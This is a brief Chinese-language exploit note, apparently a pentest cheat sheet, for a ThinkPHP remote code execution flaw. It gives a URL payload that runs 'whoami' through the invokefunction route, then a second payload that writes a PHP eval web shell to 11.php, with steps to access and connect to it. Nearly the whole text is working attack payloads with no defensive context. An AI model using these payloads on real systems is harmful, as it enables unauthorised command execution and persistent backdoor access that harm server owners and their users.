访问到网址
拼接网址，执行远程命令
/?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=whoami
可执行php命令
getshell
/?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>" >11.php
访问木马
连接木马
